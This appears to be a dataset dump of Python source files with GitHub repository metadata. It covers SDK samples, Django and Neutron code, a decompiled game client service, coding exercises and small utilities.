blob_id
stringlengths
40
40
directory_id
stringlengths
40
40
path
stringlengths
3
616
content_id
stringlengths
40
40
detected_licenses
listlengths
0
112
license_type
stringclasses
2 values
repo_name
stringlengths
5
115
snapshot_id
stringlengths
40
40
revision_id
stringlengths
40
40
branch_name
stringclasses
777 values
visit_date
timestamp[us]date
2015-08-06 10:31:46
2023-09-06 10:44:38
revision_date
timestamp[us]date
1970-01-01 02:38:32
2037-05-03 13:00:00
committer_date
timestamp[us]date
1970-01-01 02:38:32
2023-09-06 01:08:06
github_id
int64
4.92k
681M
star_events_count
int64
0
209k
fork_events_count
int64
0
110k
gha_license_id
stringclasses
22 values
gha_event_created_at
timestamp[us]date
2012-06-04 01:52:49
2023-09-14 21:59:50
gha_created_at
timestamp[us]date
2008-05-22 07:58:19
2023-08-21 12:35:19
gha_language
stringclasses
149 values
src_encoding
stringclasses
26 values
language
stringclasses
1 value
is_vendor
bool
2 classes
is_generated
bool
2 classes
length_bytes
int64
3
10.2M
extension
stringclasses
188 values
content
stringlengths
3
10.2M
authors
listlengths
1
1
author_id
stringlengths
1
132
baf1e8fce2a2ee27fd127101921e9812b45a1359
ca7aa979e7059467e158830b76673f5b77a0f5a3
/Python_codes/p03564/s294555081.py
483a512c9c4d677d13999a237fea6db9a60e2dad
[]
no_license
Aasthaengg/IBMdataset
7abb6cbcc4fb03ef5ca68ac64ba460c4a64f8901
f33f1c5c3b16d0ea8d1f5a7d479ad288bb3f48d8
refs/heads/main
2023-04-22T10:22:44.763102
2021-05-13T17:27:22
2021-05-13T17:27:22
367,112,348
0
0
null
null
null
null
UTF-8
Python
false
false
127
py
N = int(input()) K = int(input()) a = 1 for i in range(N): if a*2 > a+K: a += K else: a *= 2 print(a)
[ "66529651+Aastha2104@users.noreply.github.com" ]
66529651+Aastha2104@users.noreply.github.com
eb7c2a0bb4df36ca0ef54c23c6537d071bfdd2b2
074421d31af92ae29c7c78bdb7e50f199a38eb9b
/weixin/code/moc_def/moc_name_service/AppInstance.py
41252cf3e8a2d8fe37562e79a7e9fb9cf03cbae0
[]
no_license
allenforrest/wxbiz
3f49ce66b37e281fc375f548610aa54a0f73268f
e78df71fbc5d73dd93ba9452d4b54183fe1e7e1f
refs/heads/master
2016-09-06T15:17:49.420934
2013-08-05T13:13:40
2013-08-05T13:13:40
null
0
0
null
null
null
null
UTF-8
Python
false
false
5,356
py
#coding=gbk import mit from mit import MocBase, MocRule from mit import MocAttrDef, ComplexAttrDef import type_def import err_code_mgr # The automatic generated MOC. It is not recommended to inherit. class AppInstance(MocBase): __MOC_NAME__ = "AppInstance" __IMC_SYNC_PRIORITY__ = mit.IMC_SYNC_NOT_SYNC __AT...
[ "allenxu@gmail.com" ]
allenxu@gmail.com
ada4adc8aad13242a94e5cb34122128661463484
f576f0ea3725d54bd2551883901b25b863fe6688
/sdk/recoveryservices/azure-mgmt-recoveryservicesbackup/azure/mgmt/recoveryservicesbackup/activestamp/aio/operations/_backup_protection_containers_operations.py
b6c5c15dd38539be1b961241d550d8eab0ed5a1e
[ "LicenseRef-scancode-generic-cla", "MIT", "LGPL-2.1-or-later" ]
permissive
Azure/azure-sdk-for-python
02e3838e53a33d8ba27e9bcc22bd84e790e4ca7c
c2ca191e736bb06bfbbbc9493e8325763ba990bb
refs/heads/main
2023-09-06T09:30:13.135012
2023-09-06T01:08:06
2023-09-06T01:08:06
4,127,088
4,046
2,755
MIT
2023-09-14T21:48:49
2012-04-24T16:46:12
Python
UTF-8
Python
false
false
6,734
py
# pylint: disable=too-many-lines # coding=utf-8 # -------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for license information. # Code generated by Microsoft (R) AutoRe...
[ "noreply@github.com" ]
Azure.noreply@github.com
f13aa73d31a2841260ea3b48e0adb7200deb0fda
d8fe3b5243bec2b61fd7907c4ff799b24bb617e5
/Bloomberg_codecon/General_challenger_problems/mug_color.py
65d046ed2e35e926aa298629faa04dc9adabde17
[ "Unlicense" ]
permissive
SelvorWhim/competitive
b89ed252512d88d9346d168dc6b48e0a42a6142d
1c73a5c7b2d0dc1b6c4f3f06ace69cdf5c6a34c0
refs/heads/master
2023-04-13T01:02:52.083519
2023-04-11T10:14:38
2023-04-11T10:14:38
96,573,533
0
0
null
null
null
null
UTF-8
Python
false
false
1,927
py
### INSTRUCTIONS ### ''' Jay S. has got himself in trouble! He had borrowed a friend's coffee mug and somehow lost it. As his friend will be extremely angry when he finds out about it, Jay has decided to buy his friend a replacement mug to try to control the damage. Unfortunately, Jay does not remember the color of t...
[ "Carmeverre@gmail.com" ]
Carmeverre@gmail.com
8acf70af05ca1f9fe91e400f1a44d60679f4a416
f576f0ea3725d54bd2551883901b25b863fe6688
/sdk/resourcemover/azure-mgmt-resourcemover/generated_samples/operations_discovery_get.py
2935b57661f79c96fcc7c1c5296b30643fa3afc0
[ "LicenseRef-scancode-generic-cla", "MIT", "LGPL-2.1-or-later" ]
permissive
Azure/azure-sdk-for-python
02e3838e53a33d8ba27e9bcc22bd84e790e4ca7c
c2ca191e736bb06bfbbbc9493e8325763ba990bb
refs/heads/main
2023-09-06T09:30:13.135012
2023-09-06T01:08:06
2023-09-06T01:08:06
4,127,088
4,046
2,755
MIT
2023-09-14T21:48:49
2012-04-24T16:46:12
Python
UTF-8
Python
false
false
1,503
py
# coding=utf-8 # -------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for license information. # Code generated by Microsoft (R) AutoRest Code Generator. # Changes may ...
[ "noreply@github.com" ]
Azure.noreply@github.com
3d53fe5bfcc78cbe0f91bd04f98035197e584aa3
d7ccb4225f623139995a7039f0981e89bf6365a4
/.history/store/views_20211011174414.py
b3aa780e17766d12a299e017068f39c7ef8a9c6c
[]
no_license
tonnymuchui/django-mall
64fd4abc3725c1bd0a3dcf20b93b490fe9307b37
55c083d8433be3c77adc61939cd197902de4ce76
refs/heads/master
2023-08-23T04:59:20.418732
2021-10-13T15:59:37
2021-10-13T15:59:37
415,668,388
1
0
null
null
null
null
UTF-8
Python
false
false
1,356
py
from django.shortcuts import get_object_or_404, render from store.models import Product from category.models import Category from carts.views import _cart_id from carts.models import CartItem from django.core.paginator import EmptyPage, PageNotAnInteger, Paginator # Create your views here. def store(request, category...
[ "tonykanyingah@gmail.com" ]
tonykanyingah@gmail.com
37170c7468eb730c386bcbb10eae65fbcf0897c5
b8a13ecb7c0999954807e80c7470d8f752a3653b
/LearnPythonTheHardWay/Python3/ex13-more.py
6ebf367feb72eaf15feceea90b4b64c2e17c6b07
[]
no_license
jbarcia/Python-Books
59ca3d7b7fb1f2c1e3d1659f846032382af557a9
2106a2e5f56cdd4261bf870798a0a427d6137249
refs/heads/master
2021-01-19T00:24:59.727307
2017-01-05T00:07:13
2017-01-05T00:07:13
62,562,390
2
0
null
null
null
null
UTF-8
Python
false
false
355
py
#!/bin/python3 # ex13: Parameters, Unpacking, Variables # Write a script that has more arguments. from sys import argv script, name, age, height, weight = argv print("The script is called:", script) print("Your name is:", name) print("Your age is:", age) print("Your height is %d inches" % int(height)) print("Your w...
[ "jbarcia99@yahoo.com" ]
jbarcia99@yahoo.com
0c6ccdf28c7badab191e6122f4cf3b23b1815669
f98de2db6b24d30d64f1145c7d8da4a40385a87f
/packages/grid_control_cms/scanner_cmssw.py
a23fc63e17f368f98fd9f72208b9a337e638e988
[]
no_license
greyxray/grid-control
f9f453491fe7bc506d4cfc240afaa364ba9db84b
ed10fdb6ff604006a5d52dcd43c2e55c9e962c0a
refs/heads/master
2020-04-15T13:15:21.103357
2019-01-08T18:23:07
2019-01-08T18:23:07
164,709,043
1
0
null
null
null
null
UTF-8
Python
false
false
8,694
py
# | Copyright 2010-2016 Karlsruhe Institute of Technology # | # | Licensed under the Apache License, Version 2.0 (the "License"); # | you may not use this file except in compliance with the License. # | You may obtain a copy of the License at # | # | http://www.apache.org/licenses/LICENSE-2.0 # | # | Unless require...
[ "stober@cern.ch" ]
stober@cern.ch
2672ebf95d24a74fd6bfb9c7ca5948697ef1cc80
b3fa4bb31add76bbff0b6f864f433ff9af7897b6
/109.sortedListToBST.py
751ed76c2ec1801eb87a6f002d30123f3f262fbb
[]
no_license
Aissen-Li/LeetCode
7298225ba95d58194a5fc87c7ee3ef4d04ec4d4b
f08628e3ce639d1e3f35a2bd3af14cc2b67d7249
refs/heads/master
2020-12-30T08:03:17.277924
2020-09-25T08:20:53
2020-09-25T08:20:53
238,919,619
0
0
null
null
null
null
UTF-8
Python
false
false
834
py
# Definition for singly-linked list. class ListNode: def __init__(self, x): self.val = x self.next = None # Definition for a binary tree node. class TreeNode: def __init__(self, x): self.val = x self.left = None self.right = None class Solution: def sortedListToBST(...
[ "aissen_f@163.com" ]
aissen_f@163.com
adf993aa0cb6b57623219bbff2eea82c09956c47
dddbfd8eb6dff0bd3449bac87ee76b5c3e0bdfb1
/icehouse-patches/neutron/vlan2vlan/neutron/db/cascade_db.py
d3e520ea4be1bb85b014269fd52aa828589bc05c
[ "Apache-2.0" ]
permissive
joey5678/tricircle
40897fed8fe9d6772e8878b4f06ba1a829636488
e211f7efef129bbfb038cc05232ea1de33f82a97
refs/heads/master
2021-01-17T21:04:32.945469
2014-11-17T09:46:29
2014-11-17T10:10:07
null
0
0
null
null
null
null
UTF-8
Python
false
false
6,542
py
''' Created on 2014-8-5 @author: j00209498 ''' from oslo.db import exception as db_exc import sqlalchemy as sa from neutron.api.rpc.agentnotifiers import l3_rpc_agent_api from neutron.common import exceptions as q_exc from neutron.common import log from neutron.common import utils from neutron.db import model_base f...
[ "joehuang@huawei.com" ]
joehuang@huawei.com
64477cf64390abc1deb7e4438116f3e5da6528d1
0412893529999de784ab9cb914f385ba788a3684
/logicmonitor_sdk/models/unmonitored_devices.py
8c2d586de6029d22e1ebdb104aec09fa77f40dc6
[ "Apache-2.0" ]
permissive
JeremyTangCD/lm-sdk-python
0326bf034c16b022b760600dc18fe7aaad42fa26
2a15e055e5a3f72d2f2e4fb43bdbed203c5a9983
refs/heads/master
2020-04-15T15:39:59.276224
2019-01-09T09:55:36
2019-01-09T09:55:36
164,803,314
0
0
Apache-2.0
2019-01-09T09:58:55
2019-01-09T06:33:40
Python
UTF-8
Python
false
false
15,888
py
# coding: utf-8 """ LogicMonitor REST API LogicMonitor is a SaaS-based performance monitoring platform that provides full visibility into complex, hybrid infrastructures, offering granular performance monitoring and actionable data and insights. logicmonitor_sdk enables you to manage your LogicMonitor account...
[ "jeremy.tang@logicmonitor.com" ]
jeremy.tang@logicmonitor.com
ca537def844347b897bbf7d508e7ed1b36881424
5d6fa3466d9fa8bd6719c6dea586163d3d089090
/codes/CHAPTER_3/Chapter_3.5_Error_Handling/Lesson_3/3.5.3_TryExcept2.py
7dddad2dacf6be45dfd851d778977a7fca8af2a4
[]
no_license
harveylabis/GTx_CS1301
cff0c1a076b1da73c66d53175330b4dedc244163
f26a5e9c4b8c29acb831444cd59d21524267825c
refs/heads/master
2023-06-26T14:44:38.976288
2021-08-02T04:20:31
2021-08-02T04:20:31
269,361,753
0
0
null
null
null
null
UTF-8
Python
false
false
597
py
mystery_value = 9 #You may modify the lines of code above, but don't move them! #When you Submit your code, we'll change these lines to #assign different values to the variables. #Create a program that divides 10 by mystery_value and prints #the result. In the case that mystery_value is equal to 0, #print "Not possib...
[ "harveyabiagador@gmail.com" ]
harveyabiagador@gmail.com
9077243272380d510bf5f7fc9d920155d1ce0b61
239c34e56a2b586ae6618c1ccbba7e668a28fc6d
/salt/runners/error.py
9bffab178e87891343acebb2e20fbfef0018b68f
[ "Apache-2.0", "BSD-2-Clause", "MIT" ]
permissive
georgiou/salt
076ce8e62289910af960f8e45ab8c3e0131943f2
4a3b930e4f2a8bfcdd9d18c3fef9cb1eb806a3f5
refs/heads/develop
2023-09-03T10:39:01.309513
2014-03-07T15:49:29
2014-03-07T15:49:29
17,520,119
0
0
NOASSERTION
2023-09-06T17:29:01
2014-03-07T16:32:38
Python
UTF-8
Python
false
false
616
py
# -*- coding: utf-8 -*- ''' Error generator to enable integration testing of salt runner error handling ''' # Import python libs # Import salt libs import salt.utils.error def error(name=None, message=''): ''' If name is None Then return empty dict Otherwise Raise an exception with __name__ fro...
[ "smith.samuel.m@gmail.com" ]
smith.samuel.m@gmail.com
c0413f4a1638ff5d986ce54f0cb09762125edb75
c5b9c54492cdf591a2190364e7bfb1041b63c218
/Selenium_pratice/PRATICE.py
0aa9ed5795198786069df71cfd606f54389195ae
[]
no_license
QAvinod/Interview_Question_Examples
43f7fb46f497415a8b30a8c6c5f13d2cbf6055b4
f4f6d2c4e4fcc536de5656db30021f416959cce8
refs/heads/master
2023-06-13T04:18:12.218130
2021-07-06T10:29:10
2021-07-06T10:29:10
331,185,419
0
0
null
null
null
null
UTF-8
Python
false
false
488
py
from selenium import webdriver from webdriver_manager.chrome import ChromeDriverManager from selenium.webdriver.chrome.service import Service def xpath_types(): a = 1 service = Service(executable_path=ChromeDriverManager().install()) opt = webdriver.ChromeOptions() opt.add_argument("--start-maximized"...
[ "Vinod-E" ]
Vinod-E
a38cbb263b8e8f152f0c49822ead89c1c46ab177
551ef0567aca428a535775d3949f5d9670c0d29c
/arc/arc003/b/main.py
a12ea26e888cccfd2ec1bc149e4cebdf993c7f4b
[]
no_license
komo-fr/AtCoder
7451a9402466ce8d487d0c521128732061c647df
c916889294cb12f21e74254de43b3e17e1b354bc
refs/heads/master
2023-07-22T07:05:52.955188
2023-03-01T14:22:16
2023-03-01T14:22:16
213,109,943
0
0
null
2023-07-06T22:01:28
2019-10-06T04:44:49
Python
UTF-8
Python
false
false
201
py
#!/usr/bin/env python3 N = int(input().split()[0]) s_list = [] for _ in range(N): s = input() s = s[::-1] s_list.append(s) ans = "\n".join([s[::-1] for s in sorted(s_list)]) print(ans)
[ "komo.mdrms@gmail.com" ]
komo.mdrms@gmail.com
7367eeebaef104b7ba3efa04c721a5f60349632d
7c15f211adc9e9eb9f66ccdd570c9f38dff7ea8d
/packages/autorest.python/test/vanilla/legacy/Expected/AcceptanceTests/ClientEnum/clientenum/_vendor.py
3b000a3b496306b693b088034c588b9e6b4b3a76
[ "LicenseRef-scancode-generic-cla", "MIT" ]
permissive
Azure/autorest.python
cc4bfbf91ae11535731cad37cedd6b733edf1ebd
a00d7aaa3753ef05cb5a0d38c664a90869478d44
refs/heads/main
2023-09-03T06:58:44.246200
2023-08-31T20:11:51
2023-08-31T20:11:51
100,315,955
47
40
MIT
2023-09-14T21:00:21
2017-08-14T22:58:33
Python
UTF-8
Python
false
false
1,302
py
# -------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for license information. # Code generated by Microsoft (R) AutoRest Code Generator. # Changes may cause incorrect...
[ "noreply@github.com" ]
Azure.noreply@github.com
ee35ec61d28c96933eeefced4425bbb07e904ab5
c27862cc24513c1d1c221e07c261b9fe65a37f54
/logging_moudle/A_test.py
50b540b5b19a23cdb07ccb383f965a24b6193b9c
[]
no_license
MannixZ/Mannix
ac62ef29c1dcbb513b121ad9d42db851103884fc
7b86d0a619e0d6e3eecb94331ee60d89542b99f2
refs/heads/master
2020-05-26T13:27:24.979334
2019-05-23T14:10:47
2019-05-23T14:10:47
164,109,199
0
0
null
null
null
null
UTF-8
Python
false
false
385
py
#!/usr/bin/env python # -*- coding: utf-8 -*- import logging from logging_moudle.main import setup_logging # logger = logging.getLogger('main.A_test') def compler(): a = 3 b = 2 if a > b: logging.info("++++++%s %s", a, b) def hahaha(): logging.info('__________') if __name__...
[ "noreply@github.com" ]
MannixZ.noreply@github.com
13f6ebcb96f77e6bd120053c29a06acd5afdee72
f513c794fd95cb72ee776029ece38a08c4b4da0b
/corehq/apps/cleanup/management/commands/reprocess_error_forms.py
efe1b59229228cce7b52b8ed4af54578c3020968
[]
no_license
bglar/commcare-hq
a92f034a0c2faf787da8321b4d79e55f098bd89f
972129fc26864c08c7bef07874bd2a7218550bff
refs/heads/master
2021-05-28T20:44:12.876151
2015-01-16T16:23:52
2015-01-16T16:23:52
29,391,363
1
0
null
null
null
null
UTF-8
Python
false
false
2,217
py
from collections import defaultdict from django.core.management.base import BaseCommand, CommandError, LabelCommand from casexml.apps.case.util import reprocess_form_cases from corehq.apps.cleanup.xforms import iter_problem_forms from optparse import make_option from dimagi.utils.parsing import string_to_datetime clas...
[ "droberts@dimagi.com" ]
droberts@dimagi.com
ed04c0cece483566e3d392dbc7e8b59f228424c2
bd37e10ba5aa2e241c82c0f707e832e2d2c98448
/delivery_app/administrators/apps.py
41d1adfdf06d8d58d39eb0047eb6dcb2c11de41e
[]
no_license
DmitriyBul/DimkaDeliveryApp
9d88aaf733fee5345fe1ff0ca4a83242b3ca73c4
22fe0229bbd17e978bdc279751e41c98584a0e44
refs/heads/main
2023-08-23T16:34:42.470321
2021-11-05T07:06:40
2021-11-05T07:06:40
402,777,939
1
0
null
null
null
null
UTF-8
Python
false
false
160
py
from django.apps import AppConfig class AdministratorsConfig(AppConfig): default_auto_field = 'django.db.models.BigAutoField' name = 'administrators'
[ "128dmitriy128@gmail.com" ]
128dmitriy128@gmail.com
96b7f757a6988a25b6d5ad78d76e2389fa42424d
bfe6c95fa8a2aae3c3998bd59555583fed72900a
/gcdSort.py
97870c2ccb58fb7d3bff9a961af1faed1095b64f
[]
no_license
zzz136454872/leetcode
f9534016388a1ba010599f4771c08a55748694b2
b5ea6c21bff317884bdb3d7e873aa159b8c30215
refs/heads/master
2023-09-01T17:26:57.624117
2023-08-29T03:18:56
2023-08-29T03:18:56
240,464,565
0
0
null
null
null
null
UTF-8
Python
false
false
1,658
py
from typing import List class Solution: def gcdSort(self, nums: List[int]) -> bool: parent = [i for i in range(10**5 + 1)] # parent=[i for i in range(30)] def find(loc): while parent[loc] != loc: loc = parent[loc] return loc def merge(loc...
[ "zzz136454872@163.com" ]
zzz136454872@163.com
5c220167824fe75cd06767eb4147fd313b5cd7c0
aad164e4efe1d55cc189c35956bfd435b14a0f52
/eve-8.21.494548/eve/client/script/ui/services/standingsvc.py
cd9b5d9e80c90852dc4d67ffe06ddadd8d5829e8
[]
no_license
Pluckyduck/eve
61cc41fe8fd4dca4fbdcc4761a37bcfeb27ed84f
9a277707ab1f162c6bd9618faf722c0be3ea93ad
refs/heads/master
2020-12-28T23:35:29.992875
2013-05-06T14:24:33
2013-05-06T14:24:33
null
0
0
null
null
null
null
UTF-8
Python
false
false
43,443
py
#Embedded file name: c:/depot/games/branches/release/EVE-TRANQUILITY/eve/client/script/ui/services/standingsvc.py import service import blue import uthread import uix import uiutil import xtriui import operator import util import base import form import listentry import state import types from itertools import starmap ...
[ "ferox2552@gmail.com" ]
ferox2552@gmail.com
d902870ae9a1873fa7213787d5d72768ad6ec3af
dfc61cfb4e6e93c4143250691ff8279790451e59
/ask-sdk-model/ask_sdk_model/interfaces/alexa/presentation/html/__init__.py
e9fd9971909fcd092b9687de32b0104f419ab99b
[ "Apache-2.0" ]
permissive
Shreyas-vgr/alexa-apis-for-python
5c2444238ace749fc89c604e4a194cb0bf31ef78
74ea73b3b6a03fd9cb735fb8c1fb2bd961faab54
refs/heads/master
2020-11-26T04:48:25.302742
2019-12-19T03:35:26
2019-12-19T03:41:40
228,967,736
1
0
Apache-2.0
2019-12-19T03:30:10
2019-12-19T03:30:10
null
UTF-8
Python
false
false
1,091
py
# coding: utf-8 # # Copyright 2018 Amazon.com, Inc. or its affiliates. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the 'License'). You may not use this file # except in compliance with the License. A copy of the License is located at # # http://aws.amazon.com/apache2.0/ # # or in the 'lice...
[ "ask-pyth@dev-dsk-ask-sdk-python-2b-85d79f62.us-west-2.amazon.com" ]
ask-pyth@dev-dsk-ask-sdk-python-2b-85d79f62.us-west-2.amazon.com
e69877e2f09786585a92a0ab3dbd3905b3ce3ce5
cf297c3d66189d2bd9fd8bfdadaeff3ebe6eee05
/WebBrickLibs/EventHandlers/tests/TestUtils.py
156b35af8887add2352285a3dd71cb50154673ab
[ "BSD-3-Clause" ]
permissive
AndyThirtover/wb_gateway
0cb68a1f2caf7f06942f94b867ea02f4f8695492
69f9c870369085f4440033201e2fb263a463a523
refs/heads/master
2022-01-19T00:07:20.456346
2022-01-05T21:08:16
2022-01-05T21:08:16
14,687,973
0
0
null
null
null
null
UTF-8
Python
false
false
3,332
py
# Copyright L.P.Klyne 2013 # Licenced under 3 clause BSD licence # $Id: TestUtils.py 3222 2009-07-14 15:32:00Z simon.hughes $ # # Some test helpers for testing event handlers. Uses a SuperGlobal to save state. # import sys import unittest from EventLib.Event import Event, makeEvent from EventHandlers.Utils import *...
[ "github@lklyne.co.uk" ]
github@lklyne.co.uk
d9b51bdf9583fa308dd667a5782de30b5a4314bc
7d675a20af47cf1d1599610197d90969a8256f5c
/ex0/env.py
e5ad17a21e801289e8dceee375f440ca4133c13d
[]
no_license
QuentinGoss/janar-tapas1
7bddd07c8888291aa28886f66f7b6a29d453893e
c2a1c6de8ffeb8051a2efd1b544fb8f6eac2e804
refs/heads/master
2020-12-26T20:59:06.623246
2020-02-15T01:46:14
2020-02-15T01:46:14
237,640,269
0
0
null
null
null
null
UTF-8
Python
false
false
91
py
# env.py options = None map_dir = None # Vehicles counter = 0 vehicles = [] complete = []
[ "quentingoss@users.noreply.github.com" ]
quentingoss@users.noreply.github.com
5599614cd850830f9c0dd4726214b6fcd123965e
783bda14ef99024acea3584bc19130375fec2508
/04_02_Start.py
5a73e134a03fdfaf2edc1910586ae2106d72afdf
[]
no_license
liberbell/opendata01
75d4ed22f54fb42112b02244c9bf2cfad08935ca
f1b7c33e6f61d7ca4f01cc96c4ce05c4f6fb78bf
refs/heads/master
2020-03-21T10:25:08.678066
2018-08-21T00:21:09
2018-08-21T00:21:09
138,449,774
0
0
null
null
null
null
UTF-8
Python
false
false
260
py
# Getting more control over formatting from datetime import datetime now = datetime.now() print(now.strftime('%a %A %d')) print(now.strftime('%b %B %m')) print(now.strftime('%a %B %D')) print(now.strftime('%H : %M : %S %p')) print(now.strftime('%y %Y'))
[ "liberbell@gmail.com" ]
liberbell@gmail.com
bbab7556f06dd799a7a1c6cda3bc61ee1edfe69d
5f98e7c49e88ed0f1c6ea306de7d1a325129a253
/other_peoples_apps/basic_dash/dash3.py
44997a2911358a6521ac3b1c0d58f001d0ecfcf0
[]
no_license
simongarisch/basic_flask
d1e4c4dd8f4dc86e5603c9b4fc75dc6b455cdd48
5cdc5dc45a3a7c838b732e8fd068a28018f69475
refs/heads/master
2021-07-14T20:03:50.156056
2020-06-19T12:03:11
2020-06-19T12:03:11
172,444,123
1
0
null
2021-06-22T11:06:49
2019-02-25T06:04:07
Python
UTF-8
Python
false
false
965
py
import dash import dash_core_components as dcc import dash_html_components as html import pandas as pd df = pd.read_csv('https://gist.githubusercontent.com/chriddyp/c78bf172206ce24f77d6363a2d754b59/raw/c353e8ef842413cae56ae3920b8fd78468aa4cb2/usa-agricultural-exports-2011.csv') def generate_table(dataframe, max_row...
[ "gatman946@gmail.com" ]
gatman946@gmail.com
392882b39640d468c4b7d572a0d0d27040cbf237
ff4fe07752b61aa6404f85a8b4752e21e8a5bac8
/challenge-064/lubos-kolouch/python/ch-2.py
df2d2041c3bf0af4f2b2c7edaa47e508d404a077
[]
no_license
choroba/perlweeklychallenge-club
7c7127b3380664ca829158f2b6161c2f0153dfd9
2b2c6ec6ece04737ba9a572109d5e7072fdaa14a
refs/heads/master
2023-08-10T08:11:40.142292
2023-08-06T20:44:13
2023-08-06T20:44:13
189,776,839
0
1
null
2019-06-01T20:56:32
2019-06-01T20:56:32
null
UTF-8
Python
false
false
729
py
#!/usr/bin/env python # -*- coding: utf-8 -*- from typing import List def word_sequence(S: str, W: List[str]) -> List[str]: def helper(s: str, words: List[str]) -> List[str]: if not s: return words for word in W: if s.startswith(word): result = helper(s[le...
[ "lubos@kolouch.net" ]
lubos@kolouch.net
1df25303d1c26a2dab78b3710ad8715b1f99e1d7
ec78f8ab63aec0753b9360715a4276a971b78a82
/py/data_analysis/np/b_indexing.py
f4b2c805ca8dc1f3bc734fb3f68db8f06f0173bc
[]
no_license
anderscui/ml
4ace7e7b8cf248042d224bd54e81b691963b2e0e
39238ba6d802df7e8bf1089ef3605cfc83b333ac
refs/heads/master
2021-06-03T16:09:55.207202
2018-11-01T18:50:49
2018-11-01T18:50:49
23,989,214
0
0
null
null
null
null
UTF-8
Python
false
false
402
py
import numpy as np from numpy.random import randn names = np.array(['Bob', 'Joe', 'Will', 'Bob', 'Will', 'Joe', 'Joe']) data = randn(7, 4) print(names) print(data) print(names == 'Bob') print(data[names == 'Bob']) print(data[names == 'Bob', 2:]) print(data[names != 'Bob']) print(data[-(names == 'Bob')]) mask = (nam...
[ "anderscui@gmail.com" ]
anderscui@gmail.com
a7ab3031e7812b193439335991eaa94fd5f32407
94e964496acd225e1a04060a9bc9f639e6cff99c
/app/invitations/urls.py
30974ba9c9a16fa13ba9b7f1760d580f40cb79b6
[]
no_license
indigocodeit/conflictcartographer
64b6ab2c991cd3ad020c4832cdb26974d342b564
ab19b4559c1e016ef485bfa1a01df17fb15679ce
refs/heads/master
2023-03-05T00:44:03.805241
2021-02-19T08:50:23
2021-02-19T08:50:23
null
0
0
null
null
null
null
UTF-8
Python
false
false
759
py
from django.urls import path, include from django.conf.urls import url from invitations.views import referralRedirect, referralSignup, handleExcelFile,fileuploadMenu, emailpreview,share urlpatterns =[ path("accounts/",include("django.contrib.auth.urls")), url("accounts/ref/(?P<refkey>[^/.]+)/$",referralRedire...
[ "pglandsverk@gmail.com" ]
pglandsverk@gmail.com
b3ce5a872a19efb4767bc6923d50fc1851771e87
20348bd6e61f7019a696f2497a7b3c5c2d192796
/wowmode/admin.py
5851758c22a57ac5451904cdf44597e7f7843cf6
[]
no_license
hypnopompicindex/cms
fa9c3e70de71744506d1d4ccb3bf24a3b82e8b4d
81a634ca493385000e7028de632c5d9d04eeddaa
refs/heads/master
2021-06-26T23:05:16.022544
2019-04-01T04:21:26
2019-04-01T04:21:26
128,445,653
0
0
null
null
null
null
UTF-8
Python
false
false
660
py
from django.contrib import admin from .models import Videolist, Video from adminsortable2.admin import SortableAdminMixin, SortableInlineAdminMixin class VideoInline(SortableInlineAdminMixin, admin.TabularInline): model = Video readonly_fields = ('thumbnail', 'title') fields = ('order', 'title', 'file', '...
[ "hypnopompicindex@gmail.com" ]
hypnopompicindex@gmail.com
9dc0dba873157557aab7cbf28ec4ecb79b96e2db
9743d5fd24822f79c156ad112229e25adb9ed6f6
/xai/brain/wordbase/nouns/_revenue.py
d5ed97ac2bac6f928e632369e308122c3f31872d
[ "MIT" ]
permissive
cash2one/xai
de7adad1758f50dd6786bf0111e71a903f039b64
e76f12c9f4dcf3ac1c7c08b0cc8844c0b0a104b6
refs/heads/master
2021-01-19T12:33:54.964379
2017-01-28T02:00:50
2017-01-28T02:00:50
null
0
0
null
null
null
null
UTF-8
Python
false
false
342
py
#calss header class _REVENUE(): def __init__(self,): self.name = "REVENUE" self.definitions = [u'the income that a government or company receives regularly: '] self.parents = [] self.childen = [] self.properties = [] self.jsondata = {} self.specie = 'nouns' def run(self, obj1 = [], obj2 = []): ...
[ "xingwang1991@gmail.com" ]
xingwang1991@gmail.com
2284e877ba7253ab2c2663b4f0763d61698a085c
9fae6f56ff77217aca8ae405a2bb2a2245461cc4
/backend/taxi_profile/migrations/0001_initial.py
19e1622e12af2de40a9c5cc0f883cee8ec77539c
[]
no_license
crowdbotics-apps/ready-18854
7c554b307dcab02274c10e31264712f607f6f01a
e37d0a3d3909b6defe071ffd9026511ae20db53c
refs/heads/master
2022-11-06T22:56:45.127940
2020-07-13T02:29:07
2020-07-13T02:29:07
279,189,411
0
0
null
null
null
null
UTF-8
Python
false
false
3,582
py
# Generated by Django 2.2.14 on 2020-07-13 02:28 from django.conf import settings from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): initial = True dependencies = [ migrations.swappable_dependency(settings.AUTH_USER_MODEL), ] op...
[ "team@crowdbotics.com" ]
team@crowdbotics.com
4dbe179017640dc1772bf32986f395dcfe46257c
c36679186f669c6e3bd1c106c96d4a17be1f5ab1
/Practice_Anisul/149.py
0787f34ea6607e53a80621276df0598ec6b76a36
[]
no_license
touhiduzzaman-tuhin/python-code-university-life
60a3d671b200a6f5222c6d176c13c5f20f013509
6d2e3d90d430faa5c83fe79e7fb1ebe516994762
refs/heads/master
2023-03-22T15:18:10.636203
2021-03-06T18:52:04
2021-03-06T18:52:04
332,467,190
0
0
null
null
null
null
UTF-8
Python
false
false
191
py
tpl = ( 1, 3, 6, 4, "Tuhin", "Rana", (1, 2, 3) ) print(tpl) print(tpl[0]) print(tpl[1]) print(tpl[2]) print(tpl[3]) print(tpl[4]) print(tpl[6]) print(tpl[6][1])
[ "touhiduzzamantuhin95@gmail.com" ]
touhiduzzamantuhin95@gmail.com
b06ce99b3d9241be378b1a68cabcf4a2a08191f0
d91365b9da3cbd3a4c928591f25e55e615a61ebb
/torchbiggraph/rpc.py
f8cf4cc00eeb223c99249d384e23d4f10febd204
[ "BSD-3-Clause" ]
permissive
pandeyankit83/PyTorch-BigGraph
052ff88804bba8353a12385c5547445cdb22700b
79e7fc06621ca7737689fa50c1e6cf6cea550a90
refs/heads/master
2022-12-05T02:16:52.169026
2020-06-22T17:29:36
2020-06-22T17:30:44
277,336,532
3
1
NOASSERTION
2022-11-27T03:29:15
2020-07-05T16:04:10
Python
UTF-8
Python
false
false
5,714
py
